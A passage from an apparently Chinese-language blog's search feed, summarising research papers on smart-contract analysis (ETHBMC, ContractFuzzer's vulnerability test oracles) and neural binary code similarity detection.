四、实验评估</h2><p>在几个不同的实验中对ETHBMC进行了评估,然后重点关注以下主要结果,介绍的玩具示例用作一组试验。我们将SELFDESTRUCT指令嵌入每个合同中,因为所有工具都为此提供了检测模块。此外,重新创建了上节中讨论的奇偶校验帐户黑客(Parity account hack)程序,以模拟复杂的实际情况。</p><p><img src="https://gitee.com/Reanon/upload-markdown-img/raw/master/img/20200901202054.png" alt="image-20200712194526587" />(Results of evaluating different analyzers on toy examples)</p><p>为了进一步评估ETHBMC,他们在实验中集群:大学内部云中的20个虚拟机,运行6个2.5 Ghz虚拟化内核,每个内核分配12 GB的内存。此外,在两台服务器上运行了12个ETHBMC实例,每个实例均配备了Intel Xeon E5-2667和96GB内存。<br />截至2018年12月24日在Google BigQuery 上列出的所有2,194,650个账户进行了大规模扫描,整个集群总共花费了大约3.5个月的时间,大约相当于39个CPU年。</p><p><img src="https://gitee.com/Reanon/upload-markdown-img/raw/master/img/20200901202128.png" alt="image-20200712195205101" /></p><p>(大规模分析结果显示找到的合同数量(括号内生成的独特漏洞利用数量))</p><h2 id="五-文章总结"><a class="markdownIt-Anchor" href="#五-文章总结"></a> 五、文章总结</h2><p>其是第一个能够以全自动的方式检测到奇偶校验漏洞(Parity vulnerability)的工具,发现可以通过内存复制式操作、提高合约间通信和引入新的编码方式来精确推理加密哈希函数以实现更高精确度的分析。但是在却在边界循环和设置时间受到了限制,而且限制不能完全取消,例如,总是必须对循环施加上限,但提高超时限制或循环计数可能会导致发现程序中更深处的错误。合同调用也是如此,ETHBMC无法找到需要三个以上事务的错误。此外,他们目前仅为一个攻击者帐户建模。</p>]]></content>
<categories>
<category>智能合约</category>
</categories>
<tags>
<tag>Smart Contract</tag>
<tag>符号执行</tag>
</tags>
</entry>
<entry>
<title>ContractFuzzer:Fuzzing Smart Contracts for Vulnerability Detection</title>
<link href="/2020/0629bf6aec.html"/>
<url>/2020/0629bf6aec.html</url>
<content type="html"><![CDATA[<h1 id="contractfuzzer-fuzzing-smart-contracts-for-vulnerability-detection"><a class="markdownIt-Anchor" href="#contractfuzzer-fuzzing-smart-contracts-for-vulnerability-detection"></a> ContractFuzzer: Fuzzing Smart Contracts for Vulnerability Detection</h1><p>论文标题:(2018-ASE) <a href="https://ieeexplore.ieee.org/abstract/document/9000089">ContractFuzzer: Fuzzing Smart Contracts for Vulnerability Detection</a></p><p>论文引用:Jiang B, Liu Y, Chan W K. Contractfuzzer: Fuzzing smart contracts for vulnerability detection[C]//2018 33rd IEEE/ACM International Conference on Automated Software Engineering (ASE). IEEE, 2018: 259-269.</p><p>代码开源:<a href="https://github.com/gongbell/ContractFuzzer">gongbell/ContractFuzzer</a></p><h2 id="一-主要内容"><a class="markdownIt-Anchor" href="#一-主要内容"></a> 一、主要内容</h2><p>智能合约是运行在区块链共识协议上的程序,它使得人们能够在最小化信任的基础上达成共识。而今数以百万计的智能合约部署在各个分散的应用程序中,而智能合约的安全漏洞造成了巨大的经济损失。</p><p>本文提出了一种新的模糊测试工具:ContractFuzzer,它能够根据智能合约的<strong>ABI规范生成模糊测试输入</strong>,定义检测<strong>安全漏洞的测试预言(test oracle)</strong>,通过对<strong>以太坊虚拟机(EVM)插桩</strong>记录智能合约的运行时状态,分析日志并报告安全漏洞。通过实验,作者对6991份智能合约的检测已经发现了459个高精确度的漏洞。</p><h2 id="二-设计实现"><a class="markdownIt-Anchor" href="#二-设计实现"></a> 二、设计实现</h2><p>文章分析了七种不同类型的智能合约安全漏洞:gas耗尽终止(<strong>Gasless Send</strong>)、异常处理混乱(<strong>Exception Disorder</strong>)、重入(<strong>Reentrancy</strong>)、时间戳依赖(<strong>Timestamp Dependency</strong>)、区块号依赖(<strong>Block Number Dependency</strong>)、危险的delegatecall 调用(<strong>Dangerous DelegateCall</strong>)和以太币冻结(<strong>Freezing Ether</strong>)。并对以上七种安全漏洞定义了测试预言(test orcle)。</p><h3 id="21-gas耗尽终止"><a class="markdownIt-Anchor" href="#21-gas耗尽终止"></a> 2.1 gas耗尽终止</h3><p>测试预言GaslessSend检查:</p><ul><li>函数调用是通过Send函数进行的,即该函数调用的输入为0,Gas限制为2300;</li><li>函数调用在执行时返回错误ErrOutOfGas。</li></ul><h3 id="22-异常处理混乱"><a class="markdownIt-Anchor" href="#22-异常处理混乱"></a> 2.2 异常处理混乱</h3><p>对于一个嵌套调用链,测试预言ExceptionDisorder检查:</p><ul><li>由原始调用开始的嵌套调用链中的调用抛出异常,但是原始调用没有抛出异常。</li></ul><h3 id="23-重入"><a class="markdownIt-Anchor" href="#23-重入"></a> 2.3 重入</h3><p>测试预言Reentrancy包括两个子预言ReentrancyCall与CallAgentWithValue:</p><p>Reentrancy = ReentrancyCall & CallAgentWithValue</p><ul><li><p>子预言ReentrancyCall检查:</p><ul><li>原始函数调用在由其开始的嵌套调用链中出现了不止一次。</li></ul></li><li><p>子预言CallAgentWithValue检查: + 函数调用所发送的以太币大于0;</p><ul><li>被调用函数拥有充足的Gas执行复杂的代码,即函数调用不是通过Send函数或Transfer函数进行的;</li><li>被调用合约由原始合约调用者指定,而不是硬编码在原始合约中的</li></ul></li></ul><h3 id="24-时间戳依赖-区块号依赖"><a class="markdownIt-Anchor" href="#24-时间戳依赖-区块号依赖"></a> 2.4 时间戳依赖 & 区块号依赖</h3><p>这两者可以放在一起进行检查,其中测试预言Timestamp Dependency/BlockNum Dependency包括三个子预言TimestampOp / BlockNumOp、SendCall与EtherTransfer:</p><p>2.4.1 子预言TimestampOp/BlockNumOp检查:</p><ul><li>当前合约的执行过程中执行了TIMESTAMP/NUMBER操作符。</li></ul><p>2.4.2 子预言SendCall检查:函数调用是通过Send函数进行的。</p><p>2.4.3 子预言EtherTransfer检查:</p><ul><li>函数调用所发送的以太币大于0。</li></ul><h3 id="25-危险的delegatecall-调用"><a class="markdownIt-Anchor" href="#25-危险的delegatecall-调用"></a> 2.5 危险的delegatecall 调用</h3><p>测试预言DangerDelegateCall检查:</p><ul><li>当前合约执行过程中通过DelegateCall函数进行了函数调用;</li><li>DelegateCall函数的参数是由当前合约调用者指定的。</li></ul><h3 id="26-以太币冻结"><a class="markdownIt-Anchor" href="#26-以太币冻结"></a> 2.6 以太币冻结</h3><p>测试预言FreezingEther检查:</p><ul><li>当前合约能够接收以太币;</li><li>当前合约执行过程中通过DelegateCall函数进行了函数调用;</li><li>当前合约自己的代码中没有transfer/send/call/suicide函数。</li></ul><p>ContractFuzzer工具包括一个线下的EVM插桩工具以及一个线上的模糊测试工具。<strong>线下的EVM插桩工具通过对EVM进行插桩</strong>,使得模糊测试工具能够监视智能合约的执行并提取执行日志用于漏洞分析。</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210412105155.png" alt="image-20200901201058793" /></p><p>文章实现了一个网络爬虫从Etherscan网站上爬取以太坊平台上已经部署的智能合约,爬取内容包括合约创建代码、ABI接口与构造函数参数。文章将爬取的智能合约重新部署在自己搭建的以太坊测试网络中,一方面作为之后模糊测试的对象,另一方面作为使用合约地址作为参数的合约调用的输入。线上的模糊测试过程如下:</p><ul><li>分析测试智能合约的ABI接口以及字节码,提取ABI函数的每一个参数的数据类型以及ABI函数中所使用到的函数签名;</li><li>对于所有从以太坊平台上爬取的智能合约进行<strong>ABI签名分析</strong>,并根据各个智能合约所支持的函数签名将其进行索引;</li><li>生成与ABI规范相符的<strong>合法模糊测试输入</strong>以及越过有效边界的<strong>突变输入</strong>;</li><li>启动模糊测试,通过随机的函数调用,使用生成的输入调用相应的ABI接口;</li><li>分析模糊测试过程中生成的执行日志,检测安全漏洞。</li></ul><h2 id="三-实验评估"><a class="markdownIt-Anchor" href="#三-实验评估"></a> 三、实验评估</h2><p>实验机器配置:Ubuntu 14.04 LTS and is equipped with Intel i5 8-core CPU and 16GB of memory.</p><p>文章从Etherscan网站上爬取了共<strong>6991</strong>个互不相同且包含经过验证的源代码的智能合约作为实验对象。对于测试智能合约的每个ABI函数,ContractFuzzer工具使用三种类型的账户对其进行调用,包括:</p><ol><li>创建合约的外部账户</li><li>与合约无关的普通外部账户</li><li>AttackerAgent合约账户</li></ol><p>此外,通过每种类型的账户,工具分别使用发送以太币和不发送以太币两种模式对ABI函数进行调用。对于每个包含参数的ABI函数,工具生成k个输入作为函数的输入集。</p><p>ContractFuzzer工具把对于某个合约生成的所有调用合并成一个调用池,并随机从调用池中选择调用进行对该合约进行模糊测试,以模拟合约中ABI函数的不同调用序列。文章使ContractFuzzer工具对所有测试智能合约共进行了80个小时的模糊测试,直至实验结果逐渐趋同。下表是最后的实验结果:</p><p><img src="https://gitee.com/Reanon/upload-markdown-img/raw/master/img/20200901201113.png" alt="image-20200901201112926" /></p><h2 id="四-总结"><a class="markdownIt-Anchor" href="#四-总结"></a> 四、总结</h2><p>文章是第一个基于Ethereum 平台的智能合约安全漏洞模糊测试框架,支持gas耗尽终止、异常处理混乱、重入、时间戳依赖、区块号依赖、危险的delegatecall 调用和以太币冻结七种漏洞的检测。ContractFuzzer 包含离线EVM 测试工具和在线模糊测试工具,并且将这些工具开源。</p><p>构建了一个Web 爬虫,从Etherscan 网站上获得部署在以太坊上的智能合约,爬虫可以提取合约创建代码( 智能合约的二进制文件) 、应用程序二进制接口( Application BinaryInterface,ABI) 以及这些合约的构造函数参数。和其他智能合约漏洞检测工具相比,ContractFuzzer 支持更多的漏洞类型,有效降低了误报率; 但由于测试用例生成的随机性,所能涵盖的系统行为有限,无法达到理想的路径覆盖率,很难找出所有的潜在错误</p>]]></content>
<categories>
<category>智能合约</category>
</categories>
<tags>
<tag>Smart Contract</tag>
<tag>模糊测试</tag>
</tags>
</entry>
<entry>
<title>Order Matters: Semantic-Aware Neural Networks for Binary Code Similarity Detection</title>
<link href="/2020/062138ce9d.html"/>
<url>/2020/062138ce9d.html</url>
<content type="html"><![CDATA[<h1 id="order-matters-semantic-aware-neural-networks-for-binary-code-similarity-detection"><a class="markdownIt-Anchor" href="#order-matters-semantic-aware-neural-networks-for-binary-code-similarity-detection"></a> Order Matters: Semantic-Aware Neural Networks for Binary Code Similarity Detection</h1><p>论文题目:(2020-AAAI)<a href="https://ojs.aaai.org//index.php/AAAI/article/view/5466">Order Matters: Semantic-Aware Neural Networks for Binary Code Similarity Detection </a> 「用于二进制代码相似性检测的语义感知神经网络」</p><p>论文引用:Yu Z, Cao R, Tang Q, et al. Order Matters: Semantic-Aware Neural Networks for Binary Code Similarity Detection[C]//Proceedings of the AAAI Conference on Artificial Intelligence. 2020, 34(01): 1145-1152.</p><p>公开的API:<a href="https://github.com/binaryai/sdk">https://github.com/binaryai/sdk</a></p><hr /><h2 id="一-主要内容"><a class="markdownIt-Anchor" href="#一-主要内容"></a> 一、主要内容</h2><p>本文介绍了一个使用神经网络进行<mark>二进制代码相似度检测</mark>的工作。首先,对于二进制代码上基本块+控制流图的表示方式,作者首先提出了一个语义表示 + 结构表示(semantic-aware modeling, structural-aware modeling)的表示方法,对每一个基本块将其看成一个sentence,使用BERT对其训练以获得其向量表示,之后使用MPNN对整个CFG进行向量表示,并提出了四个task(masked language model task (MLM),adjacency node prediction task (ANP),Block inside graph task (BIG),graph classification task (GC))对表示进一步优化。另外,作者还提出了CFG中控制结构的重要性,并使用CNN对CFG的邻接矩阵进行学习,并且这种节点的顺序信息也在实验中起到了很好的效果。</p><h2 id="二-设计实现"><a class="markdownIt-Anchor" href="#二-设计实现"></a> 二、设计实现</h2><p>二进制代码检测是在不获取源代码的情况下,得到二进制函数之间的相似性,这是计算机安全方面的一个重要任务。传统的方法通常使用图匹配算法(graph matching algorithms),这往往会非常的慢而且准确率不高。</p><p>目前基于神经网络的方法获得很大的提升,二进制函数首先表示成控制流图(CFG),然后通过图神经网络(GNN)来获取相应的编码;尽管这些方法高效且有用,但不能充分的捕捉二进制代码的语义信息。</p><p>正如图一所示,第一,每个手工选择特征的block代表了一个低维的嵌入,这将导致大量语义信息的丢失。第二,节点的顺序在二进制函数中扮演了很重要的角色, 然而先前的研究方法没有涉及到提取它。</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201219102305.png" alt="image-20201219102305843" /></p><center>Figure 1: An example of a control flow graph (CFG) and its manually selected block features.</center><p>为了解决这两个问题,作者提出了一个包含三个部分的框架,语义感知模型(semantic-aware modeling),结构感知模型(structural-aware modeling),顺序感知模型(order-aware modeling)。</p><blockquote><p>语义感知模型</p></blockquote><p>作者使用了自然语言处理模型在二进制代码中提取语义信息。在CFG块中的符号被视为单词,整个块被视为句子。在先前的工作中,(2019的Massarelli)使用了word2vec模型来训练块中的符号嵌入,然后使用attation机制来获得块嵌入。(2018 zuo)在神经机器翻译中借了一个idea在跨平台的二进制代码上学习语义关系。在这篇文章中,作者使用了Bert(devlin 2018)来预训练符号和块。</p><blockquote><p>结构感知模型</p></blockquote><p>使用MPNN(gilmer在17年提出)和GRU(cho在14年提出)更新功能结合使用。(xu在18年提出)已经证明了图神经网络可以像Weisfeiler-Lehman test (Weisfeiler and Lehman 1968)一样具有辨别能力。发现在每一步都使用GRU比仅仅使用tanh函数能存储更多的信息。</p><blockquote><p>顺序感知模型</p></blockquote><p>试图去设计一个体系来提取控制流程图的节点顺序信息。图二显示了一个函数的两个控制流程图和它们相应的邻接矩阵在x86和arm平台上.</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201219103241.png" alt="image-20201219103241825" /></p><center>Two CFGs and their adjacency matrices of function ” freading” on different platforms (x86-64 & ARM).</center><p>两个不同架构下同一函数编译出的控制流程图和它们的邻接矩阵。这两个CFG有相似的节点顺序。举个例子,节点一与2,3相连,节点2与4,5相连。它们的邻接矩阵非常相似,在研究了很多跨平台的函数对之后,我们发现节点顺序的许多变化非常小。</p><p>基于此观察,我们提出一种简单的方法来捕获节点顺序信息。在邻接矩阵上使用CNN,我们发现3层的CNN表现最好,并且进一步探索了如resnet之类的其他模型,并讨论了CNN可以从邻接矩阵中学到什么。</p><h3 id="model"><a class="markdownIt-Anchor" href="#model"></a> Model</h3><p>模型的输入是二进制代码函数的CFG,其中每个块都是中间表示的词序列。 我们的模型的整体结构如图3所示。在语义感知组件上,该模型以CFG作为输入,并使用BERT来预训练词嵌入和块嵌入。 在结构感知组件上,我们将MPNN与GRU更新功能配合使用计算图的语义和结构嵌入 <span class="katex"><span class="katex-mathml"><math><semantics><mrow><msub><mi>g</mi><mrow><mi>s</mi><mi>s</mi></mrow></msub></mrow><annotation encoding="application/x-tex">g_{ss}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">g</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.151392em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">s</span><span class="mord mathdefault mtight">s</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>。 在顺序感知组件上,该模型以CFG的邻接矩阵为输入,并采用CNN来计算图的顺序嵌入<span class="katex"><span class="katex-mathml"><math><semantics><mrow><msub><mi>g</mi><mi>o</mi></msub></mrow><annotation encoding="application/x-tex">g_o</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">g</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.151392em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">o</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>。 最后,我们将它们连接起来,并使用MLP层来计算图形嵌入 <span class="katex"><span class="katex-mathml"><math><semantics><mrow><msub><mi>g</mi><mrow><mi>f</mi><mi>i</mi><mi>n</mi><mi>a</mi><mi>l</mi></mrow></msub></mrow><annotation encoding="application/x-tex">g_{final}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.716668em;vertical-align:-0.286108em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">g</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361079999999999em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.10764em;">f</span><span class="mord mathdefault mtight">i</span><span class="mord mathdefault mtight">n</span><span class="mord mathdefault mtight">a</span><span class="mord mathdefault mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.286108em;"><span></span></span></span></span></span></span></span></span></span>。</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201219103609.png" alt="image-20201219103609633" /></p><center>Figure 3: Overall structure of our model. The model has three components: semantic-aware modeling, structural-aware modeling and order-aware modeling</center><h4 id="语义感知模型"><a class="markdownIt-Anchor" href="#语义感知模型"></a> 语义感知模型</h4><ul><li>MLM是词级别的任务,它在输入层上屏蔽词并在输出层上对其进行预测</li><li>在ANP任务中,我们提取图形上的所有相邻块,并在同一图形中随机采样几个块以预测两个块是否相邻。(类似原BERT论文中的NSP任务)</li><li>BIG的任务与ANP相似,区别在于对不同块对进行采样的方式。BIG任务试图使模型判断同一图上是否存在两个节点。 我们在/不在同一图中随机采样块对,并在BIG任务中预测它们。该任务有助于模型理解块与图之间的关系</li><li>GC使模型可以对不同平台,不同体系结构或不同优化选项中的块进行分类。</li></ul><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201219103741.png" alt="image-20201219103741588" /></p><center>Figure 4: Bert with 4 tasks: MLM, ANP, BIG and GC.</center><h4 id="结构感知模型"><a class="markdownIt-Anchor" href="#结构感知模型"></a> 结构感知模型</h4><ul><li>在语义感知模型中获取块嵌入后,使用MPNN计算每个CFG的图语义和结构嵌入;</li><li>在消息函数M上使用MLP;</li><li>在更新函数U上使用GRU来学习时间迭代的顺序信息;</li><li>使用求和函数,并提取第0步和第T步的图形表示。</li></ul><h4 id="顺序感知模型"><a class="markdownIt-Anchor" href="#顺序感知模型"></a> 顺序感知模型</h4><ul><li>Block节点的数量和位置进行了变化,但倒三角的特性仍然存在</li><li>利用CNN的平移不变性和规模不变性,CNN可能会学习节点顺序的细微变化;</li><li>当在不同平台上编译相同功能时,节点顺序通常不会发生太大变化。大多数节点顺序更改是添加节点,删除节点或交换多个节点,因此CNN对我们的任务很有用;</li><li>与传统的图特征提取算法相比,直接在邻接矩阵上使用CNN的速度要快得多</li></ul><p>CNN的结构:</p><ul><li>使用11层的Reset网络;</li><li>包含3个residual block;</li><li>所有特征图都是3 * 3;</li><li>使用全局最大池化层来计算图顺序嵌入;</li></ul><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201219103832.png" alt="image-20201219103832403" /></p><h2 id="三-实验评估"><a class="markdownIt-Anchor" href="#三-实验评估"></a> 三、实验评估</h2><h4 id="datasets"><a class="markdownIt-Anchor" href="#datasets"></a> Datasets</h4><p>任务1是跨平台二进制代码检测任务,在任务1中,包含了O2和O3两种数据集,分别表示在gcc编译器上进行O2和O3两种优化选项的结果。</p><p>任务2是图的分类任务,包好了两个在不同平台上编译的代码,在每一个数据集中包含了不同优化选项的数据,期望能够根据图的embedding结果对优化选项结果进行分类。</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201219103943.png" alt="image-20201219103942986" /></p><h4 id="results"><a class="markdownIt-Anchor" href="#results"></a> Results</h4><p>表中第一个分块是整体模型,包括graph kernel,Gemini以及MPNN模型。第二个分块是semantic-aware模块的对比实验,分别使用了word2vec,skip thought,以及BERT,其中BERT2是指原始BERT论文中的两个task(即MLM和ANP),BERT4是指在此基础上加入两个graph-level task(BIG和GC)。第三个分块是对order-aware模块的对比实验,基础CNN模型使用3层CNN以及7、11层的Resnet,CNN_random是对训练集中控制流图的节点顺序随机打乱再进行训练,MPNN_ws是去除控制流图节点中的语义信息(所有block向量设为相同的值)再用MPNN训练。最后是本文的最终模型,即BERT+MPNN+Resnet。</p><center>Table 2: Performance comparison of task 1 in terms of MRR10 / Rank1.</center><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201219103956.png" alt="image-20201219103956796" /></p><h2 id="四-评论总结"><a class="markdownIt-Anchor" href="#四-评论总结"></a> 四、评论总结</h2><p>1、本文使用semantic-aware neural networks来获取捕捉其中的语义信息</p><p>2、使用BERT在 one token-level,one block-level, two graph-level 任务上来对二进制代码预训练</p><p>3、发现了CFG节点之间的顺序对图的相似性检测也很重要,使用了CNN抽取邻接矩阵(adjacency matrices )的节点顺序信息</p><p>主要是对这方面的知识不甚了解,好了很多时间来读。</p>]]></content>
<categories>
<category>智能合约</category>
</categories>
<tags>
<tag>Smart Contract</tag>
<tag>深度学习</tag>
</tags>
</entry>
</search>